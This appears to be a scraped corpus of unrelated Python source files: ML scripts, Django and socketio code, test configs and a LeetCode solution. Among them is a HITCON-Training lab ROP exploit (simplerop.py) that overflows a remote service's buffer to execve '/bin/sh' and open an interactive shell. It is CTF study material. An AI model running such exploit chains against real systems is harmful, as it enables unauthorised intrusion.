requests.append(grpc_stub.Infer.future(request))
input_bytes = None
cnt = 0
batched_filenames.append(filenames)
filenames = []
# Get results by send order
for request in requests:
responses.append(request.result())
else:
batched_filenames.append([FLAGS.image_filename])
# Load and preprocess the image
img = Image.open(FLAGS.image_filename)
input_tensor = preprocess(img, format, dtype, c, h, w, FLAGS.scaling)
request.meta_data.input.add(
name=input_name, byte_size=input_tensor.size * input_tensor.itemsize)
if FLAGS.preprocessed is not None:
with open(preprocessed, "w") as file:
file.write(input_tensor.tobytes())
# Need 'batch_size' copies of the input tensor...
input_bytes = input_tensor.tobytes()
for b in range(FLAGS.batch_size-1):
input_bytes += input_tensor.tobytes()
request.raw_input.extend([input_bytes])
# Call and receive response from Infer gRPC
durations = []
for _ in range(2000):
start = time.perf_counter()
responses.append(grpc_stub.Infer(request))
end = time.perf_counter()
duration_ms = (end - start) * 1000
durations.append(duration_ms)
responses.append(grpc_stub.Infer(request))
# print(responses[0].request_status)
# Save Data
df = pd.DataFrame({"duration_ms": durations})
df.to_parquet('10.pq')
mean, p99 = df["duration_ms"].mean(), np.percentile(durations, 99)
_log(f"Mean Latency: {mean}, P99: {p99}")
# TODO: Update postprocess
#for idx in range(len(responses)):
# postprocess(responses[idx].meta_data.output, batched_filenames[idx],
# idx, FLAGS.batch_size, FLAGS.classes,
# FLAGS.verbose or multiple_inputs)
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] |
HITCON-Training/LAB/lab5/simplerop.py | kernweak/HITCON-Training-writeup | 30 | 101802 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *
host = "10.211.55.28"
port = 8888
r = remote(host,port)
gadget = 0x809a15d # mov dword ptr [edx], eax ; ret
pop_eax_ret = 0x80bae06
pop_edx_ret = 0x806e82a
pop_edx_ecx_ebx = 0x0806e850
pop_eax_ret = 0x080bae06
buf = 0x80ea060
int_80 = 0x80493e1
#write to memory
payload = "a"*32
payload += p32(pop_edx_ret)
payload += p32(buf)
payload += p32(pop_eax_ret)
payload += "/bin"
payload += p32(gadget)
payload += p32(pop_edx_ret)
payload += p32(buf+4)
payload += p32(pop_eax_ret)
payload += "/sh\x00"
payload += p32(gadget)
#write to register
payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(buf)
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(int_80)
print len(payload)
r.recvuntil(":")
r.sendline(payload)
r.interactive()
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1639,
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2
] |
eetfestijn/urls.py | thaliawww/eetFestijn | 1 | 113692 | from django.conf.urls import include
from django.contrib import admin
from django.urls import path
urlpatterns = [
path('admin/', admin.site.urls),
path('wiebetaaltwat/', include('wiebetaaltwat.urls')),
path('', include('orders.urls')),
]
| [
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] |
utils/file_utils.py | MasterOdin/Python-Utils | 0 | 1606416 | """
Collection of util functions that help dealing with files and directories
"""
from contextlib import contextmanager
import os
@contextmanager
def pushd(directory):
"""
Enter a given directory for some context, then once leaving the context,
go back to the original directory you were in. Operates the same as using
bash to do pushd <director>, then run some commands, then running popd.
>>> import os
>>> a = os.getcwd()
>>> with pushd(".."):
... a.startswith(os.getcwd()) and a != os.getcwd()
...
True
>>> a == os.getcwd()
True
"""
previous_dir = os.getcwd()
os.chdir(directory)
yield
os.chdir(previous_dir)
if __name__ == "__main__":
import doctest
doctest.testmod()
| [
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580,
13,
2
] |
simplydomain/src/module_recursion.py | SimplySecurity/SimplyDomain-Old | 17 | 18194 | import multiprocessing as mp
class ModuleRecursion(object):
"""Class to handle recursion.
Simple class to handle tracking and storing prior
sub-domains discovred.
"""
def __init__(self):
"""class init.
"""
self.recursion_queue = mp.Queue()
def add_subdomain(self, domain):
"""add subdomain to Q.
uses a non-blocking call to add to the Q
to prevent any errors with size.
Arguments:
domain {str} -- subdomain to add to Q
"""
self.recursion_queue.put(domain)
def get_subdomain_list(self, valid_only=True):
"""build subdomain list.
Using the JSON from the event consumer, we
can easily build a unique list of
subdomains for module use.
Keyword Arguments:
valid_only {bool} -- filter only valid subdomains (default: {True})
Returns:
list -- list of raw subdomains
"""
data = []
refill = []
while True:
try:
x = self.recursion_queue.get_nowait()
if valid_only and x.valid:
data.append(x.subdomain)
if not valid_only:
data.append(x.subdomain)
except Exception as e:
print(e)
break
return set(data) | [
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] |
seatsio/events/objectProperties.py | nathanielwarner/seatsio-python | 2 | 32674 | class ObjectProperties:
def __init__(self, object_id, extra_data=None, ticket_type=None, quantity=None):
if extra_data:
self.extraData = extra_data
self.objectId = object_id
if ticket_type:
self.ticketType = ticket_type
if quantity:
self.quantity = quantity
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2
] |
backend/app/app/api/api_v1/websocket/monitor.py | QQting/vue-element-admin-fastapi | 0 | 138555 | <gh_stars>0
from typing import Any, Optional
from fastapi import APIRouter, Depends
from sqlalchemy.orm import Session
from app import models, schemas
from app.api import deps
from app.extensions.utils import list_to_tree
from random import randint
import rmt_py_wrapper
import json
import numpy as np
import socketio
import threading
lock = threading.Lock()
background_task_started = False
client_connecting = 0
class ServerNamespace(socketio.AsyncNamespace):
async def on_connect(self, sid, environ):
print(f"{sid} is connected !")
global background_task_started, client_connecting
lock.acquire()
client_connecting = client_connecting + 1
lock.release()
if not background_task_started:
self.server.start_background_task(self.background_task)
background_task_started = True
# self.emit('my_response', {'data': 'Connected', 'count': 0}, room=sid)
async def on_disconnect(self, sid):
print(f"{sid} is disconnected !")
global background_task_started,client_connecting
lock.acquire()
client_connecting = client_connecting - 1
lock.release()
if client_connecting == 0:
background_task_started = False
async def on_disconnect_request(self, sid):
await self.on_disconnect(sid)
async def on_client_message(self, sid, data):
print(data)
async def on_my_event(self, sid, data):
await self.emit('my_response', data)
async def on_my_room_event(self, sid, message):
await self.emit('my_response', {'data': message['data']}, room=message['room'])
async def on_my_broadcast_event(self, sid, message):
await self.emit('my_response', {'data': message['data']})
async def on_join(self, sid, message):
await self.enter_room(sid, message['room'])
await self.emit('my_response', {'data': 'Entered room: ' + message['room']}, room=sid)
async def on_leave(self, sid, message):
await self.leave_room(sid, message['room'])
await self.emit('my_response', {'data': 'Left room: ' + message['room']}, room=sid)
async def on_close(self, sid, message):
await self.emit('my_response', {'data': 'Room ' + message['room'] + ' is closing.'}, room=message['room'])
await self.close_room(message['room'])
async def background_task(self):
global background_task_started
while background_task_started:
sys_info = await self.hardware_info()
await self.emit('monitor_robot', sys_info)
await self.server.sleep(3)
async def hardware_info(self):
rmt_py_wrapper.rmt_server_init()
# Get device list:
num_ptr = rmt_py_wrapper.new_intptr()
dev_list = rmt_py_wrapper.device_info_list.frompointer(rmt_py_wrapper.rmt_server_create_device_list(num_ptr))
dev_num = rmt_py_wrapper.intptr_value(num_ptr)
rmt_py_wrapper.delete_intptr(num_ptr) # release num_ptr
# Create config key string
config_list = ["cpu", "ram", "hostname", "wifi"]
config_key_str = ""
for item in config_list:
config_key_str += item + ';'
# Get device info list
id_list = rmt_py_wrapper.ulong_array(dev_num)
for i in range(0, dev_num):
id_list[i] = dev_list[i].deviceID
info_num_ptr = rmt_py_wrapper.new_intptr()
info_list = rmt_py_wrapper.data_info_list.frompointer(rmt_py_wrapper.rmt_server_get_info(id_list, dev_num, config_key_str, info_num_ptr))
info_num = rmt_py_wrapper.intptr_value(info_num_ptr)
rmt_py_wrapper.delete_intptr(info_num_ptr) # release info_num_ptr
# Put data in JSON format
data = {"total": info_num, "items": []}
items = []
for i in range(0, info_num):
# Split the result string into dictionary data
result_list = info_list[i].value_list.split(";")
dict_data = {
"index": (i+1),
"deviceID": info_list[i].deviceID
}
for item in result_list:
for key in config_list:
if key in item:
value = item[len(key)+1:]
if value.isnumeric():
dict_data[key] = int(value)
else:
dict_data[key] = value
items.append(dict_data)
data["items"] = items
result = json.dumps(data, indent=4)
print(result)
return data
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] |
tests/api/tc/v2/batch/test_attributes_1.py | GShepherdTC/tcex | 0 | 106240 | """Test the TcEx Batch Module."""
# third-party
import pytest
class TestAttributes:
"""Test the TcEx Batch Module."""
@pytest.mark.parametrize(
'name,description,attr_type,attr_value,displayed,source',
[
(
'pytest-adversary-i1-001',
'Attribute Testing',
'Description',
'Pytest',
True,
'pytest-testing',
)
],
)
def test_attributes( # pylint: disable=unused-argument
self, name, description, attr_type, attr_value, displayed, source, tcex
):
"""Test batch attributes creation"""
batch = tcex.v2.batch(owner='TCI')
xid = batch.generate_xid(['pytest', 'adversary', name])
ti = batch.adversary(name=name, xid=xid)
# security label testing - option 1
ti.attribute(
attr_type=attr_type,
attr_value=attr_value,
displayed=displayed,
source=source,
formatter=self.attribute_formatter,
)
# security label testing - option 2
attr = ti.attribute(attr_type=attr_type, attr_value=None)
attr.displayed = displayed
attr.source = source
tcex.log.debug(f'attribute data: {attr}') # coverage: __str__ method
assert attr.displayed == displayed
assert attr.source == source
assert attr.type == attr_type
assert attr.value is None
# submit batch
batch.save(ti)
batch_status = batch.submit_all()
batch.close()
assert batch_status[0].get('status') == 'Completed'
assert batch_status[0].get('successCount') == 1
@staticmethod
def attribute_formatter(attr_value):
"""Return formatted tag."""
return attr_value.lower()
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dashboard/dashboard/pinpoint/models/quest/run_gtest_test.py | ncalexan/catapult | 0 | 194535 | <filename>dashboard/dashboard/pinpoint/models/quest/run_gtest_test.py
# Copyright 2018 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import unittest
from dashboard.pinpoint.models.quest import run_gtest
from dashboard.pinpoint.models.quest import run_performance_test
from dashboard.pinpoint.models.quest import run_test_test
_BASE_ARGUMENTS = {
'swarming_server': 'server',
'dimensions': run_test_test.DIMENSIONS,
}
_BASE_EXTRA_ARGS = [
'--gtest_repeat=1'
] + run_gtest._DEFAULT_EXTRA_ARGS + run_performance_test._DEFAULT_EXTRA_ARGS
class FromDictTest(unittest.TestCase):
def testMinimumArguments(self):
quest = run_gtest.RunGTest.FromDict(_BASE_ARGUMENTS)
expected = run_gtest.RunGTest(
'server', run_test_test.DIMENSIONS, _BASE_EXTRA_ARGS)
self.assertEqual(quest, expected)
def testAllArguments(self):
arguments = dict(_BASE_ARGUMENTS)
arguments['test'] = 'test_name'
quest = run_gtest.RunGTest.FromDict(arguments)
extra_args = ['--gtest_filter=test_name'] + _BASE_EXTRA_ARGS
expected = run_gtest.RunGTest(
'server', run_test_test.DIMENSIONS, extra_args)
self.assertEqual(quest, expected)
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hash-table/Python/0349-intersection-of-two-arrays-3.py | ljyljy/LeetCode-Solution-in-Good-Style | 1 | 151513 | <gh_stars>1-10
from typing import List
class Solution:
def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]:
num1_set = set(nums1)
num2_set = set(nums2)
return list(num1_set & num2_set)
if __name__ == '__main__':
nums1 = [4, 9, 5]
nums2 = [9, 4, 9, 8, 4]
s = Solution()
result = s.intersection(nums1, nums2)
print(result)
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] |
nautobot/circuits/__init__.py | psmware-ltd/nautobot | 384 | 12847 | <reponame>psmware-ltd/nautobot
default_app_config = "nautobot.circuits.apps.CircuitsConfig"
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exercises/perform_model_selection.py | noavilk/IML.HUJI | 0 | 4403 | from __future__ import annotations
import numpy as np
import pandas as pd
from sklearn import datasets
from IMLearn.metrics import mean_square_error
from IMLearn.utils import split_train_test
from IMLearn.model_selection import cross_validate
from IMLearn.learners.regressors import PolynomialFitting, LinearRegression, RidgeRegression
from sklearn.linear_model import Lasso
from utils import *
import plotnine as gg
def select_polynomial_degree(n_samples: int = 100, noise: float = 5):
"""
Simulate data from a polynomial model and use cross-validation to select the best fitting degree
Parameters
----------
n_samples: int, default=100
Number of samples to generate
noise: float, default = 5
Noise level to simulate in responses
"""
# Question 1 - Generate dataset for model f(x)=(x+3)(x+2)(x+1)(x-1)(x-2) + eps for eps Gaussian noise
# and split into training- and testing portions
def f(x):
return (x + 3) * (x + 2) * (x + 1) * (x - 1) * (x - 2)
X = np.linspace(-1.2, 2, n_samples)
y = f(X) + np.random.normal(0, noise, n_samples)
train_X, train_y, test_X, test_y = split_train_test(pd.DataFrame(X), pd.Series(y), train_proportion=(2 / 3))
df_train = pd.DataFrame({"x": train_X.squeeze(), "y": train_y, "type": "Train"})
df_test = pd.DataFrame({"x": test_X.squeeze(), "y": test_y, "type": "test"})
x_stat = np.linspace(-1.4, 2, 100)
df_stat = pd.DataFrame({"x": x_stat, "y": f(x_stat), "type": "Model"})
df = pd.concat([df_test, df_train])
title = f"f(x) = (x+3)(x+2)(x+1)(x-1)(x-2) + Gaussian noise ~ N(0,{noise})"
p = gg.ggplot() + \
gg.geom_point(df, gg.aes("x", "y", color="type")) + \
gg.geom_line(df_stat, gg.aes("x", "y")) + \
gg.theme_bw() + \
gg.ggtitle(title)
# print(p)
gg.ggsave(filename=f'../../IML/ex5/plots/{title}.png', plot=p, verbose=False)
# Question 2 - Perform CV for polynomial fitting with degrees 0,1,...,10
train_err = []
validation_err = []
for k in range(11):
pf = PolynomialFitting(k)
train_score, validation_score = cross_validate(pf, train_X.to_numpy(), train_y.to_numpy(), mean_square_error)
train_err.append(train_score)
validation_err.append(validation_score)
df1 = pd.DataFrame({"k": range(11), "avg error": train_err, "type": "train error"})
df2 = pd.DataFrame({"k": range(11), "avg error": validation_err, "type": "validation error"})
df = pd.concat([df1, df2])
title = f" Cross Validation for Polynomial Fitting Over Different Degrees k"
p = gg.ggplot(df, gg.aes("k", "avg error", color="type")) + \
gg.geom_point() + \
gg.theme_bw() + gg.scale_x_continuous(breaks=range(11)) + \
gg.labs(y="Average training and validation errors",
title=f"{title} \nWith Noise: {noise}, Num of samples: {n_samples}")
gg.ggsave(filename=f'../../IML/ex5/plots/{title} {noise} {n_samples}.png', plot=p, verbose=False)
# Question 3 - Using best value of k, fit a k-degree polynomial model and report test error
best_k = np.argmin(np.array(validation_err))
pf = PolynomialFitting(int(best_k))
pf.fit(train_X.to_numpy(), train_y.to_numpy())
y_pred = pf.predict(test_X.to_numpy())
print("best k =", best_k)
print("Test = ", round(mean_square_error(test_y.to_numpy(), y_pred), 2))
print("Validation = ", round(validation_err[best_k], 2))
def select_regularization_parameter(n_samples: int = 50, n_evaluations: int = 500):
"""
Using sklearn's diabetes dataset use cross-validation to select the best fitting regularization parameter
values for Ridge and Lasso regressions
Parameters
----------
n_samples: int, default=50
Number of samples to generate
n_evaluations: int, default = 500
Number of regularization parameter values to evaluate for each of the algorithms
"""
# Question 6 - Load diabetes dataset and split into training and testing portions
X, y = datasets.load_diabetes(return_X_y=True, as_frame=True)
train_X, train_y, test_X, test_y = X.iloc[:50, :], y[:50], X.iloc[50:, ], y[50:]
# Question 7 - Perform CV for different values of the regularization parameter for Ridge and Lasso regressions
for name, learner, ran in [("Ridge", RidgeRegression, np.linspace(0.001, 0.05, 500)),
("Lasso", Lasso, np.linspace(0.001, 0.5, 500))]:
train_err = []
validation_err = []
for lam in ran:
rg = learner(lam)
train_score, validation_score = cross_validate(rg, train_X.to_numpy(), train_y.to_numpy(),
mean_square_error)
train_err.append(train_score)
validation_err.append(validation_score)
df1 = pd.DataFrame({"lambda": ran, "avg error": train_err, "type": "train error"})
df2 = pd.DataFrame({"lambda": ran, "avg error": validation_err, "type": "validation error"})
df = pd.concat([df1, df2])
title = f"{name} Regularization Cross Validate Over Different Lambda"
p = gg.ggplot(df, gg.aes("lambda", "avg error", color="type")) + \
gg.geom_line() + \
gg.theme_bw() + gg.labs(y="Average training and validation errors", title=title)
gg.ggsave(filename=f'../../IML/ex5/plots/{title}.png', plot=p, verbose=False)
# Question 8 - Compare best Ridge model, best Lasso model and Least Squares model
best_lam = np.argmin(np.array(validation_err))
rg = learner(ran[best_lam])
rg.fit(train_X.to_numpy(), train_y.to_numpy())
y_pred = rg.predict(test_X.to_numpy())
print(f"best lambda {name} = {round(ran[best_lam], 3)}")
print(f"Test MSE {name} = {round(mean_square_error(test_y.to_numpy(), y_pred), 2)}")
lr = LinearRegression()
lr.fit(train_X.to_numpy(), train_y.to_numpy())
print("Linear Regression Loss = ", lr.loss(test_X.to_numpy(), test_y.to_numpy()))
if __name__ == '__main__':
np.random.seed(0)
select_polynomial_degree()
select_polynomial_degree(noise=0)
select_polynomial_degree(n_samples=1500, noise=10)
select_regularization_parameter()
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useful_scripts/prepDataset.py | jessvb/3d_world_procedural_generation | 7 | 39971 | <gh_stars>1-10
import os
import tensorflow as tf
import random
import numpy as np
import matplotlib.pyplot as plt
# uncomment for inline for the notebook:
# %matplotlib inline
import pickle
# enter the directory where the training images are:
TRAIN_DIR = 'train/'
IMAGE_SIZE = 512
train_image_file_names = [TRAIN_DIR+i for i in os.listdir(TRAIN_DIR)]
# to decode a single png img:
# graph = tf.Graph()
# with graph.as_default():
# file_name = tf.placeholder(dtype=tf.string)
# file1 = tf.read_file(file_name)
# image = tf.image.decode_png(file1)
# with tf.Session(graph=graph) as session:
# tf.global_variables_initializer().run()
# image_vector = session.run(image, feed_dict={
# file_name: train_image_file_names[1]})
# print(image_vector)
# session.close()
# method to decode many png images:
def decode_image(image_file_names, resize_func=None):
images = []
graph = tf.Graph()
with graph.as_default():
file_name = tf.placeholder(dtype=tf.string)
file1 = tf.read_file(file_name)
image = tf.image.decode_png(file1)
# , channels=3) <-- use three channels for rgb pictures
k = tf.placeholder(tf.int32)
tf_rot_img = tf.image.rot90(image, k=k)
# im_rot = tf.placeholder(tf.float32, shape=(IMAGE_SIZE, IMAGE_SIZE, 3))
tf_flip_img = tf.image.flip_left_right(tf_rot_img)
with tf.Session(graph=graph) as session:
tf.global_variables_initializer().run()
for i in range(len(image_file_names)):
for j in range(4): # rotation at 0, 90, 180, 270 degrees
rotated_img = session.run(tf_rot_img, feed_dict={
file_name: image_file_names[i], k: j})
images.append(rotated_img)
flipped_img = session.run(
tf_flip_img, feed_dict={
file_name: image_file_names[i], k: j})
images.append(flipped_img)
if (i+1) % 1000 == 0:
print('Images processed: ', i+1)
session.close()
return images
train_images = decode_image(train_image_file_names)
print('shape train: ', np.shape(train_images))
# Let's see some of the images
# for i in range(10,14):
# plt.imshow(train_images[i].reshape([IMAGE_SIZE,IMAGE_SIZE]), cmap=plt.get_cmap('gray'))
# plt.show()
# for rgb images:
# for i in range(10,20):
# plt.imshow(train_images[i])
# plt.show()
def create_batch(data, label, batch_size):
i = 0
while i*batch_size <= len(data):
with open(label + '_' + str(i) + '.pickle', 'wb') as handle:
content = data[(i * batch_size):((i+1) * batch_size)]
pickle.dump(content, handle)
print('Saved', label, 'part #' + str(i),
'with', len(content), 'entries.')
i += 1
# Create one hot encoding for labels
# labels = [[1., 0.] if 'dog' in name else [0., 1.] for name in train_image_file_names]
# these are all real images, so let's encode them all with 1's
labels = [[1., 0.] for name in train_image_file_names]
# TO EXPORT DATA WHEN RUNNING LOCALLY - UNCOMMENT THESE LINES
# a batch with 5000 images has a size of around 3.5 GB
# create_batch(labels, 'pickled/', np.shape(train_images)[0])
create_batch(train_images, 'pickled/', np.shape(train_images)[0])
print('done creating dataset')
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2
] |
combination/combination_generator_process.py | leodenault/mhw_optimizer | 0 | 149106 | <filename>combination/combination_generator_process.py
from multiprocessing import Process, Value
from typing import List
from combination.data_structures import MaxCapacityMaxHeap
from combination.equipment_view import EquipmentView
from scorer import Scorer
DONE_MESSAGE = "combination_generation_done"
class CombinationGeneratorProcess(Process):
def __init__(
self,
equipment_views: List[EquipmentView],
combination_queue,
shared_increment: Value,
scorer: Scorer,
max_capacity: int
):
super(CombinationGeneratorProcess, self).__init__()
self._equipment_views = equipment_views
self._combination_queue = combination_queue
self._shared_increment = shared_increment
self._scorer = scorer
self._max_capacity = max_capacity
def run(self) -> None:
combination_heap = MaxCapacityMaxHeap(self._max_capacity)
for view in self._equipment_views:
for combination in view:
combination_heap.push(self._scorer.score(combination))
with self._shared_increment.get_lock():
self._shared_increment.value += 1
self._combination_queue.put(combination_heap.heap)
self._combination_queue.put(DONE_MESSAGE)
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application/web/populate_users.py | satan1a/poopak | 91 | 1602512 | <filename>application/web/populate_users.py
#!/usr/bin/python
#
# from werkzeug.security import generate_password_hash
# from pymongo import MongoClient
# from pymongo.errors import DuplicateKeyError
#
#
# def populate_user(client, user, password):
# # Connect to the DB
# # collection = MongoClient()["crawler"]["users"]
#
# # Ask for data to store
# user = user
# password = password
# pass_hash = generate_password_hash(password, method='pbkdf2:sha256')
#
# # Insert the user in the DB
# try:
# client.insert({"_id": user, "password": <PASSWORD>_<PASSWORD>})
# print ("User created.")
# except DuplicateKeyError:
# print ("User already present in DB.")
#
# if __name__ == '__main__':
# main()
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] |
FWCore/Integration/test/ThinningTest1_cfg.py | gputtley/cmssw | 6 | 20475 | <filename>FWCore/Integration/test/ThinningTest1_cfg.py
# This process is the first step of a test that involves multiple
# processing steps. It tests the thinning collections and
# redirecting Refs, Ptrs, and RefToBases.
#
# Produce 15 thinned collections
#
# Collection A contains Things 0-8
# Collection B contains Things 0-3 and made from collection A
# Collection C contains Things 4-7 and made from collection A
#
# x Collection D contains Things 10-18
# Collection E contains Things 10-14 and made from collection D
# Collection F contains Things 14-17 and made from collection D
#
# Collection G contains Things 20-28
# x Collection H contains Things 20-23 and made from collection G
# x Collection I contains Things 24-27 and made from collection G
#
# x Collection J contains Things 30-38
# x Collection K contains Things 30-33 and made from collection J
# x Collection L contains Things 34-37 and made from collection J
#
# x Collection M contains Things 40-48
# x Collection N contains Things 40-43 and made from collection M
# Collection O contains Things 44-47 and made from collection M
#
# The collections marked with an x will get deleted in the next
# processing step.
#
# The Things kept are set by creating TracksOfThings which
# reference them and using those in the selection of a
# Thinning Producer.
#
# The ThinningTestAnalyzer checks that things are working as
# they are supposed to work.
import FWCore.ParameterSet.Config as cms
process = cms.Process("PROD")
process.options = cms.untracked.PSet(
numberOfStreams = cms.untracked.uint32(1)
)
process.maxEvents = cms.untracked.PSet(
input = cms.untracked.int32(3)
)
process.source = cms.Source("EmptySource")
process.WhatsItESProducer = cms.ESProducer("WhatsItESProducer")
process.DoodadESSource = cms.ESSource("DoodadESSource")
process.thingProducer = cms.EDProducer("ThingProducer",
offsetDelta = cms.int32(100),
nThings = cms.int32(50)
)
process.thingProducer2 = cms.EDProducer("ThingProducer",
offsetDelta = cms.int32(100),
nThings = cms.int32(50)
)
process.thingProducer2alias = cms.EDAlias(
thingProducer2 = cms.VPSet(
cms.PSet(type = cms.string('edmtestThings'))
)
)
process.trackOfThingsProducerA = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(0, 1, 2, 3, 4, 5, 6, 7, 8)
)
process.trackOfThingsProducerB = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(0, 1, 2, 3)
)
process.trackOfThingsProducerC = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(4, 5, 6, 7)
)
process.trackOfThingsProducerD = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18)
)
process.trackOfThingsProducerDPlus = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18, 21)
)
process.trackOfThingsProducerE = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(10, 11, 12, 13, 14)
)
process.trackOfThingsProducerF = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(14, 15, 16, 17)
)
process.trackOfThingsProducerG = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(20, 21, 22, 23, 24, 25, 26, 27, 28)
)
process.trackOfThingsProducerH = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(20, 21, 22, 23)
)
process.trackOfThingsProducerI = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(24, 25, 26, 27)
)
process.trackOfThingsProducerJ = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(30, 31, 32, 33, 34, 35, 36, 37, 38)
)
process.trackOfThingsProducerK = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(30, 31, 32, 33)
)
process.trackOfThingsProducerL = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(34, 35, 36, 37)
)
process.trackOfThingsProducerM = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(40, 41, 42, 43, 44, 45, 46, 47, 48)
)
process.trackOfThingsProducerN = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(40, 41, 42, 43)
)
process.trackOfThingsProducerO = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer'),
keysToReference = cms.vuint32(44, 45, 46, 47)
)
process.trackOfThingsProducerD2 = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer2'),
keysToReference = cms.vuint32(10, 11, 12, 13, 14, 15, 16, 17, 18)
)
process.trackOfThingsProducerE2 = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer2'),
keysToReference = cms.vuint32(10, 11, 12, 13, 14)
)
process.trackOfThingsProducerF2 = cms.EDProducer("TrackOfThingsProducer",
inputTag = cms.InputTag('thingProducer2'),
keysToReference = cms.vuint32(14, 15, 16, 17)
)
process.thinningThingProducerA = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thingProducer'),
trackTag = cms.InputTag('trackOfThingsProducerA'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(50)
)
process.thinningThingProducerB = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerA'),
trackTag = cms.InputTag('trackOfThingsProducerB'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerC = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerA'),
trackTag = cms.InputTag('trackOfThingsProducerC'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerD = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thingProducer'),
trackTag = cms.InputTag('trackOfThingsProducerD'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(50)
)
process.thinningThingProducerE = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerD'),
trackTag = cms.InputTag('trackOfThingsProducerE'),
offsetToThinnedKey = cms.uint32(10),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerF = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerD'),
trackTag = cms.InputTag('trackOfThingsProducerF'),
offsetToThinnedKey = cms.uint32(10),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerG = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thingProducer'),
trackTag = cms.InputTag('trackOfThingsProducerG'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(50)
)
process.thinningThingProducerH = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerG'),
trackTag = cms.InputTag('trackOfThingsProducerH'),
offsetToThinnedKey = cms.uint32(20),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerI = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerG'),
trackTag = cms.InputTag('trackOfThingsProducerI'),
offsetToThinnedKey = cms.uint32(20),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerJ = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thingProducer'),
trackTag = cms.InputTag('trackOfThingsProducerJ'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(50)
)
process.thinningThingProducerK = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerJ'),
trackTag = cms.InputTag('trackOfThingsProducerK'),
offsetToThinnedKey = cms.uint32(30),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerL = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerJ'),
trackTag = cms.InputTag('trackOfThingsProducerL'),
offsetToThinnedKey = cms.uint32(30),
expectedCollectionSize = cms.uint32(9)
)
process.thinningThingProducerM = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thingProducer'),
trackTag = cms.InputTag('trackOfThingsProducerM'),
offsetToThinnedKey = cms.uint32(0),
expectedCollectionSize = cms.uint32(50)
)
process.aliasM = cms.EDAlias(
thinningThingProducerM = cms.VPSet(
cms.PSet(type = cms.string('edmtestThings')),
# the next one should get ignored
cms.PSet(type = cms.string('edmThinnedAssociation'))
)
)
process.thinningThingProducerN = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('thinningThingProducerM'),
trackTag = cms.InputTag('trackOfThingsProducerN'),
offsetToThinnedKey = cms.uint32(40),
expectedCollectionSize = cms.uint32(9)
)
process.aliasN = cms.EDAlias(
thinningThingProducerN = cms.VPSet(
cms.PSet(type = cms.string('edmtestThings')),
# the next one should get ignored
cms.PSet(type = cms.string('edmThinnedAssociation'))
)
)
process.thinningThingProducerO = cms.EDProducer("ThinningThingProducer",
inputTag = cms.InputTag('aliasM'),
trackTag = cms.InputTag('trackOfThingsProducerO'),
offsetToThinnedKey = cms.uint32(40),
